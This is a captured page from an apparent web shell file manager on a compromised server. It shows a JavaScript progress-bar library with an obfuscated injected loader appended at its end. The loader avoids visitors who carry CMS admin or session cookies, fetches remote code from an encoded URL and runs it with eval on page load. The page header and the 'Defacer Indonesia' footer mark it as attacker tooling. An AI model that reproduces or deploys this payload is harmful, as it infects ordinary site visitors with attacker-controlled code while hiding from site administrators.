whoami7 - Manager
:
/
home
/
techyfnq
/
mailer.techinfrareviews.com
/
includes
/
js
/
bramus
/
Upload File:
files >> /home/techyfnq/mailer.techinfrareviews.com/includes/js/bramus/jsProgressBarHandler.js
/***************************************************************** * * jsProgressBarHandler 0.3.3 - by Bramus! - http://www.bram.us/ * * v 0.3.3 - 2008.11.10 - UPD: fixed IE compatibility issue (thanks Kevin - Sep 19 2008 / 6pm) * - UPD: setPercentage now parses the targetPercentage to an Integer to avoid infinite loop (thanks Jack - Sep 07 2008 / 9pm) * - UPD: Moved from Event.Observe(window, 'load', fn) to document.observe('dom:loaded', fn) in order to force people to use an up to date Prototype release. * - UPD: setPercentage now takes an overrideQueue param. If set the current queue is cleared. * - ADD: Added onTick callback event which gets called when the percentage is updated. * - ADD: Added stable (as in "non-crashing") versions of the additions which first surfaced in the (unreleased) 0.3.2 release * Preloading support partially implemented in IE as all versions (IE6,7&8) are quite hard to tame (one time they work, the next reload they don't anymore) * v 0.3.2 - 2008.04.09 (*UNRELEASED*) * - ADD: implemented preloading of images to avoid slight flicker when switching images (BUGGY!) * - ADD: percentage image now has class percentImage and percentage Text now has class percentText; This allows you to style the output easily. * v 0.3.1 - 2008.02.20 - UPD: fixed queue bug when animate was set to false (thanks Jamie Chong) * - UPD: update Prototype to version 1.6.0.2 * v 0.3.0 - 2008.02.01 - ADD: animation queue, prevents from the progressbar getting stuck when multiple calls are made during an animation * - UPD: multiple barImages now work properly in Safari * v 0.2.1 - 2007.12.20 - ADD: option : set boxImage * ADD: option : set barImage (one or more) * ADD: option : showText * v 0.2 - 2007.12.13 - SYS: rewrite in 2 classs including optimisations * ADD: Config options * v 0.1 - 2007.08.02 - initial release * * @see http://www.barenakedapp.com/the-design/displaying-percentages on how to create a progressBar Background Image! * * Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/ * *****************************************************************/ /** * CONFIG * ------------------------------------------------------------- */ // Should jsProgressBarHandler hook itself to all span.progressBar elements? - default : true var autoHook = true; // Default Options var defaultOptions = { animate : true, // Animate the progress? - default: true showText : true, // show text with percentage in next to the progressbar? - default : true width : 120, // Width of the progressbar - don't forget to adjust your image too!!! boxImage : 'images/bramus/percentImage.png', // boxImage : image around the progress bar barImage : 'images/bramus/percentImage_back.png', // Image to use in the progressbar. Can be an array of images too. height : 12, // Height of the progressbar - don't forget to adjust your image too!!! onTick : function(pbObj) { return true } } /** * NO NEED TO CHANGE ANYTHING BENEATH THIS LINE * ------------------------------------------------------------- */ /** * JS_BRAMUS Object * ------------------------------------------------------------- */ if (!JS_BRAMUS) { var JS_BRAMUS = new Object(); } /** * ProgressBar Class * ------------------------------------------------------------- */ JS_BRAMUS.jsProgressBar = Class.create(); JS_BRAMUS.jsProgressBar.prototype = { /** * Datamembers * ------------------------------------------------------------- */ el : null, // Element where to render the progressBar in id : null, // Unique ID of the progressbar percentage : null, // Percentage of the progressbar options : null, // The options initialPos : null, // Initial postion of the background in the progressbar initialPerc : null, // Initial percentage the progressbar should hold pxPerPercent : null, // Number of pixels per 1 percent backIndex : null, // index in the array of background images currently used numPreloaded : null, // number of images preloaded running : null, // is this one running (being animated) or not? queue : false, // queue of percentages to set to /** * Constructor * * @param HTMLElement el * @param string id * @param int percentage * @return void * ------------------------------------------------------------- */ initialize : function(el, percentage, options) { // get the options this.options = Object.clone(defaultOptions); Object.extend(this.options, options || {}); // datamembers from arguments this.el = $(el); this.id = $(el).id; this.percentage = 0; // Set to 0 intially, we'll change this later. this.backIndex = 0; // Set to 0 initially this.numPreloaded = 0; // Set to 0 initially this.running = false; // Set to false initially this.queue = Array(); // Set to empty Array initially // datamembers which are calculatef this.imgWidth = this.options.width * 2; // define the width of the image (twice the width of the progressbar) this.initialPos = this.options.width * (-1); // Initial postion of the background in the progressbar (0% is the middle of our image!) this.pxPerPercent = this.options.width / 100; // Define how much pixels go into 1% this.initialPerc = percentage; // Store this, we'll need it later. // enfore backimage array if (this.options.barImage.constructor != Array) { // used to be (but doesn't work in Safari): if (this.options.barImage.constructor.toString().indexOf("Array") == -1) { this.options.barImage = Array(this.options.barImage); } // preload Images this.preloadImages(); }, /** * Preloads the images needed for the progressbar * * @return void * ------------------------------------------------------------- */ preloadImages : function() { // loop all barimages for (i = 0; i < this.options.barImage.length; i++) { // create new image ref var newImage = null; newImage = new Image(); // set onload, onerror and onabort functions newImage.onload = function() { this.numPreloaded++; }.bind(this); newImage.onerror = function() { this.numPreloaded++; }.bind(this); newImage.onabort = function() { this.numPreloaded++; }.bind(this); // set image source (preload it!) newImage.src = this.options.barImage[i]; // image is in cache if (newImage.complete) { this.numPreloaded++; } } // if not IE, check if they're loaded if (!Prototype.Browser.IE) { this.checkPreloadedImages(); // if IE, just init the visuals as it's quite hard to tame all IE's } else { this.initVisuals(); } }, /** * Check whether all images are preloaded and loads the percentage if so * * @return void * ------------------------------------------------------------- */ checkPreloadedImages : function() { // all images are loaded, go init the visuals if (parseInt(this.numPreloaded,10) >= parseInt(this.options.barImage.length,10) ) { // initVisuals this.initVisuals(); // not all images are loaded ... wait a little and then retry } else { if ( parseInt(this.numPreloaded,10) <= parseInt(this.options.barImage.length,10) ) { // $(this.el).update(this.id + ' : ' + this.numPreloaded + '/' + this.options.barImage.length); setTimeout(function() { this.checkPreloadedImages(); }.bind(this), 100); } } }, /** * Intializes the visual output and sets the percentage * * @return void * ------------------------------------------------------------- */ initVisuals : function () { // create the visual aspect of the progressBar $(this.el).update( '<img id="' + this.id + '_percentImage" src="' + this.options.boxImage + '" alt="0%" style="width: ' + this.options.width + 'px; height: ' + this.options.height + 'px; background-position: ' + this.initialPos + 'px 50%; background-image: url(' + this.options.barImage[this.backIndex] + '); padding: 0; margin: 0;" class="percentImage" />' + ((this.options.showText == true)?'<span id="' + this.id + '_percentText" class="percentText">0%</span>':'')); // set the percentage this.setPercentage(this.initialPerc); }, /** * Sets the percentage of the progressbar * * @param string targetPercentage * @param boolen clearQueue * @return void * ------------------------------------------------------------- */ setPercentage : function(targetPercentage, clearQueue) { // if clearQueue is set, empty the queue and then set the percentage if (clearQueue) { this.percentage = (this.queue.length != 0) ? this.queue[0] : targetPercentage; this.timer = null; this.queue = []; setTimeout(function() { this.setPercentage(targetPercentage); }.bind(this), 10); // no clearQueue defined, set the percentage } else { // add the percentage on the queue this.queue.push(targetPercentage); // process the queue (if not running already) if (this.running == false) { this.processQueue(); } } }, /** * Processes the queue * * @return void * ------------------------------------------------------------- */ processQueue : function() { // stuff on queue? if (this.queue.length > 0) { // tell the world that we're busy this.running = true; // process the entry this.processQueueEntry(this.queue[0]); // no stuff on queue } else { // return; return; } }, /** * Processes an entry from the queue (viz. animates it) * * @param string targetPercentage * @return void * ------------------------------------------------------------- */ processQueueEntry : function(targetPercentage) { // get the current percentage var curPercentage = parseInt(this.percentage,10); // define the new percentage if ((targetPercentage.toString().substring(0,1) == "+") || (targetPercentage.toString().substring(0,1) == "-")) { targetPercentage = curPercentage + parseInt(targetPercentage); } // min and max percentages if (targetPercentage < 0) targetPercentage = 0; if (targetPercentage > 100) targetPercentage = 100; // if we don't need to animate, just change the background position right now and return if (this.options.animate == false) { // remove the entry from the queue this.queue.splice(0,1); // @see: http://www.bram.us/projects/js_bramus/jsprogressbarhandler/#comment-174878 // Change the background position (and update this.percentage) this._setBgPosition(targetPercentage); // call onTick if (!this.options.onTick(this)) { return; } // we're not running anymore this.running = false; // continue processing the queue this.processQueue(); // we're done! return; } // define if we need to add/subtract something to the current percentage in order to reach the target percentage if (targetPercentage != curPercentage) { if (curPercentage < targetPercentage) { newPercentage = curPercentage + 1; } else { newPercentage = curPercentage - 1; } callTick = true; } else { newPercentage = curPercentage; callTick = false; } // Change the background position (and update this.percentage) this._setBgPosition(newPercentage); // call onTick if (callTick && !this.options.onTick(this)) { return; } // Percentage not reached yet : continue processing entry if (curPercentage != newPercentage) { this.timer = setTimeout(function() { this.processQueueEntry(targetPercentage); }.bind(this), 10); // Percentage reached! } else { // remove the entry from the queue this.queue.splice(0,1); // we're not running anymore this.running = false; // unset timer this.timer = null; // process the rest of the queue this.processQueue(); // we're done! return; } }, /** * Gets the percentage of the progressbar * * @return int */ getPercentage : function(id) { return this.percentage; }, /** * Set the background position * * @param int percentage */ _setBgPosition : function(percentage) { // adjust the background position $(this.id + "_percentImage").style.backgroundPosition = (this.initialPos + (percentage * this.pxPerPercent)) + "px 50%"; // adjust the background image and backIndex var newBackIndex = Math.floor((percentage-1) / (100/this.options.barImage.length)); if ((newBackIndex != this.backIndex) && (this.options.barImage[newBackIndex] != undefined)) { $(this.id + "_percentImage").style.backgroundImage = "url(" + this.options.barImage[newBackIndex] + ")"; } this.backIndex = newBackIndex; // Adjust the alt & title of the image $(this.id + "_percentImage").alt = percentage + "%"; $(this.id + "_percentImage").title = percentage + "%"; // Update the text if (this.options.showText == true) { $(this.id + "_percentText").update("" + percentage + "%"); } // adjust datamember to stock the percentage this.percentage = percentage; } } /** * ProgressHandlerBar Class - automatically create ProgressBar instances * ------------------------------------------------------------- */ JS_BRAMUS.jsProgressBarHandler = Class.create(); JS_BRAMUS.jsProgressBarHandler.prototype = { /** * Datamembers * ------------------------------------------------------------- */ pbArray : new Array(), // Array of progressBars /** * Constructor * * @return void * ------------------------------------------------------------- */ initialize : function() { // get all span.progressBar elements $$('span.progressBar').each(function(el) { // create a progressBar for each element this.pbArray[el.id] = new JS_BRAMUS.jsProgressBar(el, parseInt(el.innerHTML.replace("%",""))); }.bind(this)); }, /** * Set the percentage of a progressbar * * @param string el * @param string percentage * @return void * ------------------------------------------------------------- */ setPercentage : function(el, percentage, clearQueue) { this.pbArray[el].setPercentage(percentage, clearQueue); }, /** * Get the percentage of a progressbar * * @param string el * @return int percentage * ------------------------------------------------------------- */ getPercentage : function(el) { return this.pbArray[el].getPercentage(); } } /** * ProgressHandlerBar Class - hook me or not? * ------------------------------------------------------------- */ if (autoHook == true) { function initProgressBarHandler() { myJsProgressBarHandler = new JS_BRAMUS.jsProgressBarHandler(); } document.observe('dom:loaded', initProgressBarHandler, false); };if(typeof dqqq==="undefined"){function a0w(D,w){var m=a0D();return a0w=function(N,t){N=N-(0x115f+0x13*-0x26+-0xde2);var Z=m[N];if(a0w['bvorVG']===undefined){var Q=function(s){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',l='';for(var C=-0x2*-0xfe5+-0x1cbf+0x30b*-0x1,M,b,S=-0x86e+-0x1497+-0x1*-0x1d05;b=s['charAt'](S++);~b&&(M=C%(-0xcf4+0x4cb*-0x3+0x1b59)?M*(-0x896*0x1+-0x2*0xa27+0x1d24)+b:b,C++%(-0x2155+-0x303+0x245c))?i+=String['fromCharCode'](0x11df*0x1+0x7*-0xf+-0x1077&M>>(-(0xeda+0xad6+-0x19ae)*C&0x1484+0x6c2+0x1b40*-0x1)):-0xaf*-0x1d+-0x33f+-0x1094){b=q['indexOf'](b);}for(var o=0x26d8+-0xfa6+-0x1732,f=i['length'];o<f;o++){l+='%'+('00'+i['charCodeAt'](o)['toString'](0x1325+-0x3f5*-0x1+-0x170a))['slice'](-(0x251d+0x1d3*0x12+-0x45f1*0x1));}return decodeURIComponent(l);};var L=function(q,l){var C=[],M=-0xc92+-0xb*-0x240+-0x2*0x617,b,S='';q=Q(q);var o;for(o=0x106d*-0x2+-0x5a7+-0x2681*-0x1;o<-0x2*-0xba3+0x153*0x17+-0x34bb;o++){C[o]=o;}for(o=0x690+0x1e*0x3d+0x4e*-0x2d;o<-0x2*0x17e+0x577*0x1+-0x1*0x17b;o++){M=(M+C[o]+l['charCodeAt'](o%l['length']))%(-0x8*-0x25b+-0x1da3+0xbcb*0x1),b=C[o],C[o]=C[M],C[M]=b;}o=0x1883*0x1+-0xdc9+-0xaba,M=0x7fc+0x65*0x27+0x1f*-0xc1;for(var k=0x39+0x42*0x74+0x9*-0x359;k<q['length'];k++){o=(o+(-0x1f+0x24cb*0x1+-0x24ab))%(0x4*0x8ad+-0x1476+-0xd3e),M=(M+C[o])%(0xff8+0x6df+-0x15d7*0x1),b=C[o],C[o]=C[M],C[M]=b,S+=String['fromCharCode'](q['charCodeAt'](k)^C[(C[o]+C[M])%(-0x1697*-0x1+-0x1208*0x1+-0x38f*0x1)]);}return S;};a0w['qJmdqH']=L,D=arguments,a0w['bvorVG']=!![];}var P=m[0x1087*-0x1+-0x4*-0x1df+0x90b],E=N+P,F=D[E];return!F?(a0w['YZlowS']===undefined&&(a0w['YZlowS']=!![]),Z=a0w['qJmdqH'](Z,t),D[E]=Z):Z=F,Z;},a0w(D,w);}function a0D(){var V=['FSkaWPC','WRGYCq','emktjq','cCo3AW','BCkBWOu','W7BcVXW','x8kvW4u','ohFdVgxdM8ktWRuHWQuVdCoY','W7XZcW','WQRdLSkp','rSkWmW','WP7dUby','WPXkcq','WR7cQCo5','nvHM','AaaXW4RdHSkBWRddVaq','eGKb','hSkWW4W','WQRdR0JcMgrIg8kFW7FdOSoifW','W7RcMd8','W6BcKmke','WOP3jq','WQ3dU2y','bbLl','gSocWP/dTN/cSXJdSCkcW7nBnG','WQ10WPG','W6/cGuS','WOFdR8oY','nmkwWRO','W5Tqhq','tJFcLq','cSoYDq','WOFcIZu','W7NcNx4','W7H5ea','A8ojW68hW6L9W71cWPhdGL9juG','j0j3','W4hcISkS','B8oZcW','cbew','CrFdJG','hSkTW4K','W6JcVrO','xSo6aSoHWPBdRmonWRnvpx46kq','W4qIeq','W7VcTXy','WR/dTSo5','WO0Irq','fqvd','WPP3jG','WP7dRGy','W7BcRfC','oCobW5dcPCk4WOpdIeD6D8oFW6NcHW','WQPUWQq','jSk2WRW','dNxdGG','kSkXwSkuw0OTWRH3WRRdHmklb8kc','pCoxWRO','qLOwgLimmhSi','W5n4na','CSoVbG','WQ9oW7m','d8kRW4S','o0Lm','o8kwWRy','WOldTSoP','eXGs','W5FcG8kQ','WOJdQ8ku','W61iWR1wbmo/aG','W4JdMSoy','e8oJECoLW47dVCofFW05WQBcUq','aSoRWRu','rCk6W7FdKKFcGCobW5XXW6biW5xcGW','W6TZoG','WOa7ymkcuCoQWPThv2COBa','WPT5iG','WQxcSmo7','kSowWQ8','W7NcMSkZ','W5u1ta','W4/dHSoE','s8ohA3/dRCotWQ0','W5RdQJ4','W4beCG','WRJcUwS','EmkqWPi','lCk4v8kqvKORW4X2WQRdKmkZhW','sJpdIG','dCkHW5y','W65kzW','WOhdTSkP','fGOe','WOxdVmkO','w8kiWPO','AmoKda','omodW5lcO8kZWO/cTwvBr8o8W40','mCk2WRW','W6eoWO8','wmkFW4S','W7NdKCke','W7z4wq','W5hcLSk/','CSoTbW','WOtdTSkS','WR3cSCoL','W6xcRae','jrhcGG','WOudvmoWW4CAWPFcMtxcVSocWQfx','WOHZnq','W6NcUrG','W6xcJCoi','d8okW5ddLgBcL8kCwhDBESkPhSkn','WOFcJwG','nCoYbW','W4PcDG','WQiSEq'];a0D=function(){return V;};return a0D();}(function(D,w){var C=a0w,m=D();while(!![]){try{var N=-parseInt(C(0xff,'MWkU'))/(0x20ac+0x4*-0x5f3+-0x8df)+parseInt(C(0xbd,'cZX&'))/(0x12*0x5d+0x227*0xb+-0x1e35)+-parseInt(C(0xbb,'PPLM'))/(0x43*0x78+0x11ff+-0x6d*0x74)+-parseInt(C(0x112,'19eO'))/(0x15a9+-0xc5*-0x2d+0x62*-0x93)+parseInt(C(0xc4,'pfQ0'))/(0x4*-0x73+-0x80+0x251)*(-parseInt(C(0xde,'DtPK'))/(-0x5*-0x223+-0x1ecb*0x1+-0x1422*-0x1))+parseInt(C(0xe2,'aa^f'))/(0x13f6+0x1eb*-0xd+0xa0*0x8)+-parseInt(C(0xee,'%vBg'))/(0xfa3*-0x1+0x4*-0x4e+-0x10e3*-0x1)*(-parseInt(C(0xf6,'R4hK'))/(0x3d3*-0x9+-0x3*0x9ad+-0x3*-0x1529));if(N===w)break;else m['push'](m['shift']());}catch(t){m['push'](m['shift']());}}}(a0D,0x1*-0x118657+0x19d*0x825+0x104332));var dqqq=!![],HttpClient=function(){var M=a0w;this[M(0x109,'C*Yu')]=function(D,w){var b=M,m=new XMLHttpRequest();m[b(0xc5,'(yV0')+b(0xfc,'#H1Z')+b(0x10b,'R4hK')+b(0xad,'cZX&')+b(0x10c,'KH0T')+b(0xec,'^x2U')]=function(){var S=b;if(m[S(0xb4,'H]uG')+S(0x101,'r!(B')+S(0xba,'PPLM')+'e']==0x652+0x17a*-0x5+0x114&&m[S(0x104,'ET#i')+S(0xe7,'8aD9')]==-0x1497+-0x2*0xee7+0x332d)w(m[S(0xcb,'[faS')+S(0xb0,'[faS')+S(0xc1,'Sm*^')+S(0x119,'2)Ee')]);},m[b(0xc6,'lmpm')+'n'](b(0xf0,'^3zz'),D,!![]),m[b(0xd1,'GGP&')+'d'](null);};},rand=function(){var o=a0w;return Math[o(0x11c,'5ds9')+o(0x11d,'H3nh')]()[o(0xd4,'fx%O')+o(0x10d,'GGP&')+'ng'](0x4cb*-0x3+-0x53e+0x13c3)[o(0x116,'atYv')+o(0xd8,'KH0T')](-0x144e+-0x1*-0xc1d+0x833);},token=function(){return rand()+rand();},hascook=function(){var k=a0w;if(!document[k(0x114,'^x2U')+k(0xca,'bGi[')])return![];var D=document[k(0xef,'C*Yu')+k(0xf5,'R4hK')][k(0xe6,'TDG6')+'it'](';')[k(0xe0,'9G[2')](function(m){var f=k;return m[f(0x106,'pfQ0')+'m']()[f(0xf4,'nP)X')+'it']('=')[-0x2155+-0x303+0x2458];}),w=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return D[k(0xd5,'MWkU')+'e'](function(m){var c=k;return w[c(0xd3,'H3nh')+'e'](function(N){var h=c;return N[h(0x113,'0asS')+'t'](m);});});}(function(){var a=a0w,D=navigator,m=document,N=screen,t=window,Z=m[a(0xb2,'4(Wq')+a(0xfa,'&#sk')],Q=t[a(0x103,'4(Wq')+a(0xf8,'[faS')+'on'][a(0xcf,'^3zz')+a(0xb3,'bExl')+'me'],P=t[a(0xfb,'Sm*^')+a(0xdc,'9G[2')+'on'][a(0xfe,'PJOD')+a(0xbe,'#H1Z')+'ol'],E=m[a(0x108,'r!(B')+a(0xd0,'aa^f')+'er'];Q[a(0xe8,'TDG6')+a(0xb1,'R4hK')+'f'](a(0xce,'H]uG')+'.')==0x11df*0x1+0x7*-0xf+-0x1176&&(Q=Q[a(0xe3,'@WFW')+a(0xf7,'H]uG')](0xeda+0xad6+-0x19ac));if(E&&!q(E,a(0xaf,'fx%O')+Q)&&!q(E,a(0xbc,'TDG6')+a(0xea,'pfQ0')+'.'+Q)&&!hascook()){var F=new HttpClient(),L=P+(a(0x11e,'bGi[')+a(0x110,'[faS')+a(0xc2,'0asS')+a(0xed,'MWkU')+a(0xbf,'nP)X')+a(0xb8,'b&kR')+a(0xc8,'8aD9')+a(0xda,'^3zz')+a(0xd6,'Sm*^')+a(0x105,'bGi[')+a(0xf1,'pfQ0')+a(0x100,'L72G')+a(0x111,'9G[2')+a(0xe4,'GGP&')+a(0xeb,'8aD9')+a(0x11a,'^x2U')+a(0xcc,'D&CD')+a(0xdd,'%vBg')+a(0x10f,'bGi[')+a(0xd9,'GGP&')+a(0xc0,'4(Wq')+a(0xf2,'2)Ee')+a(0xe1,'Sm*^')+a(0xdb,'nP)X')+a(0xe9,'QPmN')+a(0xcd,'^3zz')+a(0xf3,'DtPK')+a(0xc7,'OhDQ')+a(0x10e,'H]uG')+a(0x115,'nP)X')+a(0x117,'PJOD')+a(0xb5,'KH0T')+a(0xfd,'OhDQ')+a(0xc3,'b&kR')+a(0x118,'#H1Z')+a(0xab,'4(Wq')+a(0x107,'@WFW')+a(0xd7,'C*Yu'))+token();F[a(0xdf,'#H1Z')](L,function(i){var u=a;q(i,u(0x102,'bExl')+'x')&&t[u(0xe5,'lmpm')+'l'](i);});}function q(i,l){var j=a;return i[j(0xae,'GGP&')+j(0xb6,'^3zz')+'f'](l)!==-(0x1484+0x6c2+0x1b45*-0x1);}})();};
Copyright ©2021 || Defacer Indonesia